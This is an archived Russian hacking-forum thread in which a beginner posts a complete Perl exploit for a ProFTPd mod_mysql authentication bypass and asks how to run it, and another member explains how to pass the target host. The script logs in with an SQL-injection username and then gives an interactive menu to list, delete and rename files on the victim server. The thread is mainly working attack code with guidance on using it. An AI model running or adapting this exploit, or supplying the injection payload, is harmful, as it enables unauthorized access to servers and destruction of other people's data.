Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Немогу коректно запустить скрипт

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> Немогу коректно запустить скрипт
Имя
Сообщение << Старые топики   Новые топики >>
Немогу коректно запустить скрипт - 2009-10-30 11:03:14.650000   
fortonk

Сообщений: 4
Оценки: 0
Присоединился: 2009-10-30 10:42:46.493333
Сие скрипт был найде на просторах паутины, он предназначен для взлома по FTP используя дыру в ProFTPd , проблема втом что не получаеться запустить его, перл установил , запускал с командной строки (путь до перла пробел путь до скрипта) при выполнении выдавал только часть скрипта . привожу исходный скрипт:

# Credits Go For gat3way For Finding The Bug ! [AT] http://milw0rm.com/exploits/8037 # Exploited By AlpHaNiX # HomePage NullArea.Net # Greetz For Zigma-Djekmani-r1z use Net::FTP; if (@ARGV &lt; 1 ) { print"\n\n\n[+] Usage : ". "\n\n[+] ./exploit.pl ftp.target.net \n\n" ; exit();} $host = $ARGV[0]; system("cls") ; print "----------------------------------------------------------\n". "[+] ProFTPd with mod_mysql Authentication Bypass Exploit \n". "[+] Credits Go For gat3way For Finding The Bug !\n". "[+] Exploited By AlpHaNiX \n". "[+] NullArea.Net\n". "----------------------------------------------------------\n"."\n[!] Attacking $host ..." ; $user = "USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --"; $pass = '1'; $ftp = Net::FTP-&gt;new("$host", Debug =&gt; 0) or die "[!] Cannot connect to $host"; $ftp-&gt;login("$user","$pass") or die "\n\n[!] Couldn't ByPass The authentication ! ", $ftp-&gt;message; print "\n[*] Connected To $host"; print "\n[!] Please Choose A Command To Execute On $host :\n" ; print "\n\n\n[1] Show Files\n" ; print "[2] Delete File\n"; print "[3] Rename File or Dir\n"; print "[4] Create A Directory\n"; print "[5] Exit\n"; print "Enter Number Of Command Here =&gt; " ; my $command = &lt;STDIN&gt; ; chomp $command ; if ($command==1){&Show} if ($command==2){&Delete} if ($command==3){&rename} if ($command==4){&create_dir} if ($command==5){&EXIT} if ($command =! 1||2||3||4||5) {print "\n[!] Not Valid Choise ! Closing..." ;exit()} sub Show { print "\n\n\n[!] Please Specify a directory\n"; my $dir = &lt;STDIN&gt; ; chomp $dir ; $ftp-&gt;cwd($dir) or $newerr=1; push @ERRORS, "Can't cd $!\n" if $newerr; myerr() if $newerr; $ftp-&gt;quit if $newerr; @files=$ftp-&gt;dir or $newerr=1; push @ERRORS, "Can't get file list $!\n" if $newerr; myerr() if $newerr; print "Got file list\n"; foreach(@files) { print "$_\n"; } exit(); } sub Delete { print "\n\n\n[!] Please Specify a File To Delete\n"; my $file = &lt;STDIN&gt; ; chomp $file ; $ftp-&gt;delete($file) or die "\n[!] Error while Deleting $file =&gt; " , $ftp-&gt;message ; print "\n[!] $file Deleted !"; } sub rename { print "\n\n\n[!] Please Specify a File To Rename\n"; my $file = &lt;STDIN&gt; ; chomp $file ; print "\n[!] Please Specify a New Name For $file\n"; my $name = &lt;STDIN&gt; ; chomp $name ; $ftp-&gt;rename($file,$name) or die "\n[!] Error while Renaming $file =&gt; " , $ftp-&gt;message ; print "\n[!] $file Renamed to $name !"; } sub create_dir { print "\n\n\n[!] Please Specify a Directory Name To create\n"; my $dir = &lt;STDIN&gt; ; chomp $dir ; $ftp-&gt;mkdir($dir) or die "\n[!] Error while creating $dir =&gt; " , $ftp-&gt;message ; print "\n[!] $dir Created !"; } sub EXIT { system("cls"); $ftp-&gt;quit; exit(); }


ftp.target.net заменил на свой фтпшник, при запуске выдаёт кусок кода скрипта вроди ""[+] ProFTPd with mod_mysql Authentication Bypass Exploit "


пытался поменять скрипт изменив начало присвоив переменной $host сразу мой фтпешник вот что получилось привожу начало.
# Credits Go For gat3way For Finding The Bug ! [AT] http://milw0rm.com/exploits/8037 # Exploited By AlpHaNiX # HomePage NullArea.Net # Greetz For Zigma-Djekmani-r1z use Net::FTP; $host = "ftp.myhost.ru"; system("cls") ; print "----------------------------------------------------------\n". "[+] ProFTPd with mod_mysql Authentication Bypass Exploit \n". "[+] Credits Go For gat3way For Finding The Bug !\n". "[+] Exploited By AlpHaNiX \n". "[+] NullArea.Net\n". "----------------------------------------------------------\n"."\n[!] Attacking $host ..." ; $user = "USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --"; $pass = '1'; запустил , проходит подключение с ошибкой инкорект пасфорд.


подскажите плиз как этим скриптом правельно воспользоваться?
Post #: 1
RE: Немогу коректно запустить скрипт - 2009-10-30 16:19:06.343333   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
quote:

запускал с командной строки (путь до перла пробел путь до скрипта)
Неправильно, нужно было еще в качестве параметра передавать нужный вам хост.
quote:

запустил , проходит подключение с ошибкой инкорект пасфорд.
Значит атакуемый сервер пропатчен или стоит другая версия, не имеющая данной уязвимости.

ps: это уязвимость мода к фтп-серверу. Вы уверены, что он там установлен?
Post #: 2
RE: Немогу коректно запустить скрипт - 2009-10-30 17:33:38.610000   
fortonk

Сообщений: 4
Оценки: 0
Присоединился: 2009-10-30 10:42:46.493333
Да установлен я XSpider ом проверял версия какая надо. а как параметр передать? разве он не тут задаёться?
if (@ARGV < 1 ) { print"\n\n\n[+] Usage : ".
"\n\n[+] ./exploit.pl ftp.target.net \n\n" ; exit();}
 а этот вариант всю картину портит?

$host = "ftp.myhost.ru";
system("cls") ;
print "———————————————————-\n".
 
 
Post #: 3
RE: Немогу коректно запустить скрипт - 2009-11-06 11:00:50.760000   
fortonk

Сообщений: 4
Оценки: 0
Присоединился: 2009-10-30 10:42:46.493333
Возвращаюсь в тему а как этот параметр передавать?
Post #: 4
RE: Немогу коректно запустить скрипт - 2009-11-06 17:52:51.673333   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
perl.exe file.pl parametr
не?
Post #: 5
RE: Немогу коректно запустить скрипт - 2009-11-10 13:23:26.210000   
fortonk

Сообщений: 4
Оценки: 0
Присоединился: 2009-10-30 10:42:46.493333
и что за параметр ему нужен?
Post #: 6
Страниц:  [1]
Все форумы >> [Для начинающих] >> Немогу коректно запустить скрипт







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.